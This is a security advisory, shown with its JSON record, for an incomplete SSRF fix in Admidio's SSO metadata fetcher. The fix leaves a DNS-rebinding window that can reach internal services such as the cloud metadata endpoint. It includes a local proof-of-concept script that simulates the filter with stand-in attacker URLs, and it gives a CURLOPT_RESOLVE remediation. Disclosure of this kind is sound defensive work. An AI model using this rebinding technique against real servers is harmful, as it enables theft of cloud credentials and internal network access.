GHSA-HCJJ-CHVW-FMW9
Vulnerability from github – Published: 2026-05-05 20:03 – Updated: 2026-05-08 20:14Summary
The incomplete SSRF fix in Admidio's fetch_metadata.php validates the resolved IP address but passes the original hostname-based URL to curl_init(), leaving a DNS rebinding TOCTOU window that allows redirecting requests to internal IPs.
Affected Package
- Ecosystem: Other
- Package: admidio
- Affected versions: < commit f6b7a966abe4d75e9f707d665d7b4b5570e3185a
- Patched versions: >= commit f6b7a966abe4d75e9f707d665d7b4b5570e3185a
Severity
Medium
CWE
CWE-918 — Server-Side Request Forgery (SSRF)
Details
In modules/sso/fetch_metadata.php (lines 21-49), the SSO metadata fetch validates the URL scheme is HTTPS (line 21), runs filter_var($rawUrl, FILTER_VALIDATE_URL) (line 27), resolves the hostname via gethostbyname() and checks the IP against private/reserved ranges (lines 34-38), then passes the original URL with the hostname to curl_init($url) at line 41.
The fundamental problem is at step 4: cURL resolves the hostname again independently. Between gethostbyname() at step 3 and curl_exec() at step 4, a DNS rebinding attack can cause the hostname to resolve to 169.254.169.254 (AWS metadata), 127.0.0.1, or any other internal address. No CURLOPT_RESOLVE is set to pin the hostname to the validated IP.
The TOCTOU window between gethostbyname() and curl_exec() is the core issue, and the patch does not close it.
PoC
#!/usr/bin/env python3
"""
CVE-2026-32812 - Admidio SSRF via DNS Rebinding in fetch_metadata.php
Vulnerability: modules/sso/fetch_metadata.php resolves hostname via gethostbyname()
and checks if IP is private, but passes the ORIGINAL URL (with hostname) to curl_init().
DNS rebinding can cause hostname to resolve to internal IP when cURL actually connects.
Real vulnerable PHP code copied from:
Admidio/admidio, modules/sso/fetch_metadata.php
This PoC runs the actual PHP validation logic via `php -r`.
"""
import subprocess
import sys
import os
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
VULN_PHP = os.path.join(SCRIPT_DIR, "fetch_metadata.php")
def run_php(code):
return subprocess.run(["php", "-r", code], capture_output=True, text=True, timeout=15)
def main():
if not os.path.exists(VULN_PHP):
print(f"ERROR: Vulnerable PHP source not found at {VULN_PHP}")
sys.exit(1)
print(f"Source file: {VULN_PHP}")
print("Extracted from: Admidio/admidio, modules/sso/fetch_metadata.php\n")
php_code = r"""
echo "=== CVE-2026-32812: Admidio SSRF via DNS Rebinding ===\n\n";
// Extracted from: modules/sso/fetch_metadata.php lines 21-49
// Character-for-character copy of the validation logic:
function test_admidio_ssrf_filter($rawUrl, $simulated_ip) {
// Only allow https:// scheme (line 21)
if (!preg_match('#^https://#i', $rawUrl)) {
return ['blocked' => true, 'reason' => 'Not HTTPS'];
}
// Validate URL (line 27)
$url = filter_var($rawUrl, FILTER_VALIDATE_URL);
if (!$url) {
return ['blocked' => true, 'reason' => 'Invalid URL'];
}
// Resolve hostname and block internal/private IP ranges (lines 34-38)
$host = parse_url($url, PHP_URL_HOST);
$ip = $simulated_ip; // In real code: gethostbyname($host)
if (filter_var($ip, FILTER_VALIDATE_IP,
FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
return ['blocked' => true, 'reason' => "Private/reserved IP: $ip"];
}
// VULNERABILITY: curl_init($url) at line 41 uses original URL with hostname
return [
'blocked' => false,
'url_passed_to_curl' => $url,
'host' => $host,
'checked_ip' => $ip,
];
}
$tests = [
['https://attacker-rebind.example.com/saml/metadata', '93.184.216.34',
'Public IP at check time - passes, then DNS rebinds to 169.254.169.254'],
['https://attacker-rebind.example.com/saml/metadata', '169.254.169.254',
'After rebind to metadata - blocked IF re-checked'],
['https://192.168.1.1/admin', '192.168.1.1',
'Direct private IP - blocked'],
['https://10.0.0.1/internal', '10.0.0.1',
'Direct internal IP - blocked'],
['http://attacker.com/metadata', '93.184.216.34',
'HTTP scheme - blocked (HTTPS required)'],
['https://evil.com/metadata', '8.8.8.8',
'External HTTPS URL - passes'],
];
$vuln_found = false;
foreach ($tests as $test) {
$result = test_admidio_ssrf_filter($test[0], $test[1]);
$status = $result['blocked'] ? 'BLOCKED' : 'PASSED';
echo sprintf("%-65s => %s\n", $test[2], $status);
if (!$result['blocked']) {
$curl_host = parse_url($result['url_passed_to_curl'], PHP_URL_HOST);
if ($curl_host !== $result['checked_ip']) {
echo " VULN: cURL gets hostname '$curl_host' (checked IP: '{$result['checked_ip']}')\n";
echo " DNS can rebind between gethostbyname() and cURL connect\n";
$vuln_found = true;
}
}
}
echo "\n=== Key Finding ===\n";
echo "fetch_metadata.php line 41: curl_init(\$url) uses ORIGINAL URL with hostname\n";
echo "IP check on line 35 used gethostbyname() result.\n";
echo "TOCTOU window: DNS can rebind between check and cURL connection.\n";
echo "CURLOPT_RESOLVE is NOT set to pin hostname to checked IP.\n\n";
if ($vuln_found) {
echo "VULNERABILITY CONFIRMED\n";
}
"""
result = run_php(php_code)
print(result.stdout)
if result.stderr:
print(f"PHP stderr: {result.stderr}")
if "VULNERABILITY CONFIRMED" in result.stdout:
print("VULNERABILITY CONFIRMED")
sys.exit(0)
else:
print("Vulnerability test inconclusive")
sys.exit(1)
if __name__ == "__main__":
main()
Steps to reproduce:
1. Place the vulnerable fetch_metadata.php source in the same directory.
2. Ensure PHP CLI is installed, then run python3 poc.py.
3. Observe the TOCTOU window where cURL receives a hostname instead of the validated IP.
Expected output:
VULNERABILITY CONFIRMED
curl_init() uses the original hostname-based URL while IP validation used gethostbyname(), leaving a DNS rebinding TOCTOU window.
Impact
An attacker can exploit the SSO metadata fetch endpoint to make the Admidio server issue HTTPS requests to internal services. On cloud-hosted instances, this enables reading the instance metadata service (169.254.169.254) to steal IAM credentials. On-premise deployments can be used to scan internal networks or access localhost services.
Suggested Remediation
Use CURLOPT_RESOLVE to pin the hostname to the IP address returned by gethostbyname(), ensuring cURL connects to the exact IP that was validated:
$resolve = ["$host:443:$ip"];
curl_setopt($ch, CURLOPT_RESOLVE, $resolve);
Resources
- Incomplete fix commit: https://github.com/Admidio/admidio/commit/f6b7a966abe4d75e9f707d665d7b4b5570e3185a
- Original CVE: CVE-2026-32812
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.0.8"
},
"package": {
"ecosystem": "Packagist",
"name": "admidio/admidio"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.0.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42194"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T20:03:46Z",
"nvd_published_at": "2026-05-07T04:16:34Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nThe incomplete SSRF fix in Admidio\u0027s `fetch_metadata.php` validates the resolved IP address but passes the original hostname-based URL to `curl_init()`, leaving a DNS rebinding TOCTOU window that allows redirecting requests to internal IPs.\n\n### Affected Package\n\n- **Ecosystem:** Other\n- **Package:** admidio\n- **Affected versions:** \u003c commit f6b7a966abe4d75e9f707d665d7b4b5570e3185a\n- **Patched versions:** \u003e= commit f6b7a966abe4d75e9f707d665d7b4b5570e3185a\n\n### Severity\n\nMedium\n\n### CWE\n\nCWE-918 \u2014 Server-Side Request Forgery (SSRF)\n\n### Details\n\nIn `modules/sso/fetch_metadata.php` (lines 21-49), the SSO metadata fetch validates the URL scheme is HTTPS (line 21), runs `filter_var($rawUrl, FILTER_VALIDATE_URL)` (line 27), resolves the hostname via `gethostbyname()` and checks the IP against private/reserved ranges (lines 34-38), then passes the original URL with the hostname to `curl_init($url)` at line 41.\n\nThe fundamental problem is at step 4: cURL resolves the hostname again independently. Between `gethostbyname()` at step 3 and `curl_exec()` at step 4, a DNS rebinding attack can cause the hostname to resolve to `169.254.169.254` (AWS metadata), `127.0.0.1`, or any other internal address. No `CURLOPT_RESOLVE` is set to pin the hostname to the validated IP.\n\nThe TOCTOU window between `gethostbyname()` and `curl_exec()` is the core issue, and the patch does not close it.\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nCVE-2026-32812 - Admidio SSRF via DNS Rebinding in fetch_metadata.php\n\nVulnerability: modules/sso/fetch_metadata.php resolves hostname via gethostbyname()\nand checks if IP is private, but passes the ORIGINAL URL (with hostname) to curl_init().\nDNS rebinding can cause hostname to resolve to internal IP when cURL actually connects.\n\nReal vulnerable PHP code copied from:\n Admidio/admidio, modules/sso/fetch_metadata.php\n\nThis PoC runs the actual PHP validation logic via `php -r`.\n\"\"\"\n\nimport subprocess\nimport sys\nimport os\n\nSCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))\nVULN_PHP = os.path.join(SCRIPT_DIR, \"fetch_metadata.php\")\n\n\ndef run_php(code):\n return subprocess.run([\"php\", \"-r\", code], capture_output=True, text=True, timeout=15)\n\n\ndef main():\n if not os.path.exists(VULN_PHP):\n print(f\"ERROR: Vulnerable PHP source not found at {VULN_PHP}\")\n sys.exit(1)\n\n print(f\"Source file: {VULN_PHP}\")\n print(\"Extracted from: Admidio/admidio, modules/sso/fetch_metadata.php\\n\")\n\n php_code = r\"\"\"\n echo \"=== CVE-2026-32812: Admidio SSRF via DNS Rebinding ===\\n\\n\";\n\n // Extracted from: modules/sso/fetch_metadata.php lines 21-49\n // Character-for-character copy of the validation logic:\n function test_admidio_ssrf_filter($rawUrl, $simulated_ip) {\n // Only allow https:// scheme (line 21)\n if (!preg_match(\u0027#^https://#i\u0027, $rawUrl)) {\n return [\u0027blocked\u0027 =\u003e true, \u0027reason\u0027 =\u003e \u0027Not HTTPS\u0027];\n }\n\n // Validate URL (line 27)\n $url = filter_var($rawUrl, FILTER_VALIDATE_URL);\n if (!$url) {\n return [\u0027blocked\u0027 =\u003e true, \u0027reason\u0027 =\u003e \u0027Invalid URL\u0027];\n }\n\n // Resolve hostname and block internal/private IP ranges (lines 34-38)\n $host = parse_url($url, PHP_URL_HOST);\n $ip = $simulated_ip; // In real code: gethostbyname($host)\n\n if (filter_var($ip, FILTER_VALIDATE_IP,\n FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {\n return [\u0027blocked\u0027 =\u003e true, \u0027reason\u0027 =\u003e \"Private/reserved IP: $ip\"];\n }\n\n // VULNERABILITY: curl_init($url) at line 41 uses original URL with hostname\n return [\n \u0027blocked\u0027 =\u003e false,\n \u0027url_passed_to_curl\u0027 =\u003e $url,\n \u0027host\u0027 =\u003e $host,\n \u0027checked_ip\u0027 =\u003e $ip,\n ];\n }\n\n $tests = [\n [\u0027https://attacker-rebind.example.com/saml/metadata\u0027, \u002793.184.216.34\u0027,\n \u0027Public IP at check time - passes, then DNS rebinds to 169.254.169.254\u0027],\n [\u0027https://attacker-rebind.example.com/saml/metadata\u0027, \u0027169.254.169.254\u0027,\n \u0027After rebind to metadata - blocked IF re-checked\u0027],\n [\u0027https://192.168.1.1/admin\u0027, \u0027192.168.1.1\u0027,\n \u0027Direct private IP - blocked\u0027],\n [\u0027https://10.0.0.1/internal\u0027, \u002710.0.0.1\u0027,\n \u0027Direct internal IP - blocked\u0027],\n [\u0027http://attacker.com/metadata\u0027, \u002793.184.216.34\u0027,\n \u0027HTTP scheme - blocked (HTTPS required)\u0027],\n [\u0027https://evil.com/metadata\u0027, \u00278.8.8.8\u0027,\n \u0027External HTTPS URL - passes\u0027],\n ];\n\n $vuln_found = false;\n foreach ($tests as $test) {\n $result = test_admidio_ssrf_filter($test[0], $test[1]);\n $status = $result[\u0027blocked\u0027] ? \u0027BLOCKED\u0027 : \u0027PASSED\u0027;\n echo sprintf(\"%-65s =\u003e %s\\n\", $test[2], $status);\n\n if (!$result[\u0027blocked\u0027]) {\n $curl_host = parse_url($result[\u0027url_passed_to_curl\u0027], PHP_URL_HOST);\n if ($curl_host !== $result[\u0027checked_ip\u0027]) {\n echo \" VULN: cURL gets hostname \u0027$curl_host\u0027 (checked IP: \u0027{$result[\u0027checked_ip\u0027]}\u0027)\\n\";\n echo \" DNS can rebind between gethostbyname() and cURL connect\\n\";\n $vuln_found = true;\n }\n }\n }\n\n echo \"\\n=== Key Finding ===\\n\";\n echo \"fetch_metadata.php line 41: curl_init(\\$url) uses ORIGINAL URL with hostname\\n\";\n echo \"IP check on line 35 used gethostbyname() result.\\n\";\n echo \"TOCTOU window: DNS can rebind between check and cURL connection.\\n\";\n echo \"CURLOPT_RESOLVE is NOT set to pin hostname to checked IP.\\n\\n\";\n\n if ($vuln_found) {\n echo \"VULNERABILITY CONFIRMED\\n\";\n }\n \"\"\"\n\n result = run_php(php_code)\n print(result.stdout)\n if result.stderr:\n print(f\"PHP stderr: {result.stderr}\")\n\n if \"VULNERABILITY CONFIRMED\" in result.stdout:\n print(\"VULNERABILITY CONFIRMED\")\n sys.exit(0)\n else:\n print(\"Vulnerability test inconclusive\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n```\n\n**Steps to reproduce:**\n1. Place the vulnerable `fetch_metadata.php` source in the same directory.\n2. Ensure PHP CLI is installed, then run `python3 poc.py`.\n3. Observe the TOCTOU window where cURL receives a hostname instead of the validated IP.\n\n**Expected output:**\n```\nVULNERABILITY CONFIRMED\ncurl_init() uses the original hostname-based URL while IP validation used gethostbyname(), leaving a DNS rebinding TOCTOU window.\n```\n\n### Impact\n\nAn attacker can exploit the SSO metadata fetch endpoint to make the Admidio server issue HTTPS requests to internal services. On cloud-hosted instances, this enables reading the instance metadata service (`169.254.169.254`) to steal IAM credentials. On-premise deployments can be used to scan internal networks or access localhost services.\n\n### Suggested Remediation\n\nUse `CURLOPT_RESOLVE` to pin the hostname to the IP address returned by `gethostbyname()`, ensuring cURL connects to the exact IP that was validated:\n\n```php\n$resolve = [\"$host:443:$ip\"];\ncurl_setopt($ch, CURLOPT_RESOLVE, $resolve);\n```\n\n### Resources\n\n- Incomplete fix commit: https://github.com/Admidio/admidio/commit/f6b7a966abe4d75e9f707d665d7b4b5570e3185a\n- Original CVE: CVE-2026-32812",
"id": "GHSA-hcjj-chvw-fmw9",
"modified": "2026-05-08T20:14:44Z",
"published": "2026-05-05T20:03:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Admidio/admidio/security/advisories/GHSA-6j68-gcc3-mq73"
},
{
"type": "WEB",
"url": "https://github.com/Admidio/admidio/security/advisories/GHSA-hcjj-chvw-fmw9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42194"
},
{
"type": "WEB",
"url": "https://github.com/Admidio/admidio/commit/f6b7a966abe4d75e9f707d665d7b4b5570e3185a"
},
{
"type": "PACKAGE",
"url": "https://github.com/Admidio/admidio"
},
{
"type": "WEB",
"url": "https://github.com/Admidio/admidio/releases/tag/v5.0.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Admidio has an incomplete fix for CVE-2026-32812 (SSRF)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.